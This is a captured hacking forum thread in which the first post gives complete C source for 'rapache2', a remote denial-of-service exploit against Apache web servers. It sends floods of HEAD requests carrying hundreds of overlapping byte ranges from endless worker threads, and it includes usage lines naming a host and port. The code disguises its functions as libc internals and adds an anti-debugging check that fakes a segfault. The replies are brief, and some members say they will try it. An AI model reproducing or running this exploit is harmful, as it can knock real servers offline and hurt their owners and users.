Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 06-20-2013, 06:05 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Exploit v
« Previous 1 ... 4 5 6 7 8 ... 16 Next »

rapache2 - remote apache dos exploit 2

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
rapache2 - remote apache dos exploit 2
12-16-2011, 07:06 AM (This post was last modified: 12-16-2011 12:54 PM by eidelweiss.)
Post: #1
ev1lut10n Offline
./Devilz Officer
Posts: 239
Joined: Aug 2011
Reputation: 82
rapache2 - remote apache dos exploit 2
/**
rapache2
"this is another version of rapache"
by: ev1lut10n
bug found by : Nikolaus Rango (Kingcope)
http://www.jasaplus.com/ev1lut10n
gopher://sdf.org/1/users/ev1lut10
Thanks: x-hack, danzel,p4, Ramon de C Valle and all my friends
compile: gcc -o rapache2 rapache2.c -pthread -Wall
**/
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#define START_RANGE "HEAD / HTTP/1.1\nHost:localhost\nRange:bytes=0-"
#define USE_KEEP_ALIVE "\nAccept-Encoding: gzip\nKeep-Alive: 115\nConnection: keep-alive\n"

void _do_global_dtors_aux(void) __attribute__ ((constructor));

void _do_global_dtors_aux(void) {
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
        write(fileno(stdout), "Segmentation fault\n", 19);
        exit(-1);
    }
}

char *_libc_csu_fini(char total_range[16253])
{
int k=0;
char range[5]="";
char r2[16136]="";
while(k<1300)
{
   char r[5]=",5-";    
   char ads[11]="";
    sprintf(range,"%d",k);
    strcat(ads,r);
         strcat(ads,range);
     strcat(r2,ads);
    k++;
}
    strcat(total_range,START_RANGE);
    strcat(total_range,r2);
    strcat(total_range,USE_KEEP_ALIVE);
return total_range;
}

void banner()
{
        fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1, stdout);
}

void gime_er_mas()
{
    printf("%c%s", 0x1b, "[2J");
    printf("%c%s", 0x1b, "[1;1H");
    printf("\n[-] Usage : ./rapache2 hostname port_number\n");
    printf("\n[-] Usage : ./rapache2 localhost 80\n");

}

struct thread_info {
    pthread_t thread_id;
    int       thread_num;
    char     *variabel1;
    char     *variabel2;
    char     *variabel3;
};



void *_libc_csu_init(void *arg)
{

   struct thread_info *tinfo = (struct thread_info *) arg;
    char hostname[64];
    char p1[4];
    int j;
    
    char rr[16253];
    sprintf(rr,"%s",_libc_csu_fini(rr));
    

    strcpy(hostname, tinfo->variabel1);
    strcpy(p1, tinfo->variabel2);
    
    j = 0;
    while (j != 10) {
    
        struct addrinfo hints;
        struct addrinfo *result, *rp;
        int sfd, s;
        ssize_t nwritten;
        memset(&hints, 0, sizeof(struct addrinfo));
        hints.ai_family = AF_INET;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_flags = 0;
        hints.ai_protocol = 0;
    
        s = getaddrinfo(hostname, p1, &hints, &result);
        if (s != 0) {
            continue;
        }

        for (rp = result; rp != NULL; rp = rp->ai_next) {
            sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
            if (sfd == -1)
                continue;

            if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
                close(sfd);
        }

        if (result != NULL)
            freeaddrinfo(result);

        nwritten = write(sfd,rr, 16255);
    printf("\n%s\n",rr);
        if (nwritten == -1)
            close(sfd);

        usleep(300000);

        j++;
    }


    return 0;
}

int main(int argc, char *argv[])
{

    int i;
    struct thread_info tinfo;
    banner();
   if (argc <= 1) {
     gime_er_mas();
        return 0;
    }
  

    printf("[+] Attacking %s please wait  in minutes ...\n", argv[1]);

    while (1) {
        i = 0;
        while (i != 50) {
            tinfo.thread_num = i;
            tinfo.variabel1 = argv[1];
         tinfo.variabel2 = argv[2];    
            pthread_create(&tinfo.thread_id, NULL, &_libc_csu_init, &tinfo);

            usleep(500000);

            i++;
        }
    }

}
Find all posts by this user
Quote this message in a reply
12-16-2011, 09:09 AM
Post: #2
Super Moderator Offline
Wahyu Adi Prasetyo
****
Global Moderators
Posts: 7,026
Joined: Jan 2010
Reputation: 237
RE: rapache2 - remote apache dos exploit 2
sangar om,pake C ketawa
Visit this user's website Find all posts by this user
Quote this message in a reply
12-16-2011, 09:56 AM
Post: #3
note Offline
DC Security terganteng
*****
DC Security Grup
Posts: 1,280
Joined: Feb 2010
Reputation: 13
RE: rapache2 - remote apache dos exploit 2
wow serem nie,next time di coba ahhh
Visit this user's website Find all posts by this user
Quote this message in a reply
12-16-2011, 11:34 AM
Post: #4
MaViA_HaXx0r Offline
DC Ambassadors
***
Posts: 359
Joined: Dec 2009
Reputation: 7
RE: rapache2 - remote apache dos exploit 2
hebat euy... ku cicipi om boleh...?
Visit this user's website Find all posts by this user
Quote this message in a reply
12-16-2011, 11:41 AM
Post: #5
yanzbatara Offline
./Devilz Commander
Posts: 434
Joined: Feb 2011
Reputation: 4
RE: rapache2 - remote apache dos exploit 2
Malah bingung ane..... nohope
Visit this user's website Find all posts by this user
Quote this message in a reply
12-16-2011, 12:17 PM
Post: #6
keris Offline
./Devilz Officer
Posts: 62
Joined: Oct 2011
Reputation: 7
RE: rapache2 - remote apache dos exploit 2
coba dulu y om......horehorehore
Find all posts by this user
Quote this message in a reply
12-19-2011, 04:44 PM
Post: #7
kebijaksanaanku Offline
./Devilz Officer
Posts: 57
Joined: Jan 2011
Reputation: 2
RE: rapache2 - remote apache dos exploit 2
ini yang ente kasih berupa file bin ya om,yang katanya anti debuging asik
pengen lihat ajah source aslinya santai
thank's om ane cendolin iia piss
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] exploit Windows without Backdoor Clound_Ajah 14 141 Today 02:15 PM
Last Post: uchiha_sasuke
Wink [EVENT] Training Advanced Exploit Development 22-23 Juni dan 29-30 Juni ne0z 23 270 Yesterday 09:43 PM
Last Post: tukang kabel
  [Tutor] KUMPULAN EXPLOIT WP, JOOMLA, PhpBB and more... barrabravaz 51 520 06-18-2013 11:47 PM
Last Post: atav4r
Bug [Tutor] Facebook session Exploit Priv8 abuabu_hat10 25 600 06-16-2013 02:27 AM
Last Post: abuabu_hat10
  [Tutor] exploit Windows dengan MS.Word doc Clound_Ajah 8 144 06-15-2013 04:14 PM
Last Post: Clound_Ajah
  [Tutor] Exploit Windows dengan SET Clound_Ajah 14 185 06-13-2013 03:07 AM
Last Post: willyarisky
  Bypassing ASLR During Remote Stack Overflow Exploitation on Linux - Method 1 cr0security 1 77 06-09-2013 07:13 PM
Last Post: ne0z
  [Ask] [metasploit] gagal exploit ke komputer target via LAN w0rmil_alazka 13 263 05-31-2013 10:20 AM
Last Post: ubuntux
  [Tutor] WordPress Exploit (easy-comment-uploads/upload-form.php) XPByte 16 1,119 05-19-2013 05:40 PM
Last Post: oe_c0x
  Remote Stack Overflow Exploitation Tutorial - Exploiting Minalic Web Server 2 on x86 cr0security 0 93 05-05-2013 08:09 AM
Last Post: cr0security

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 06-20-2013, 06:05 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE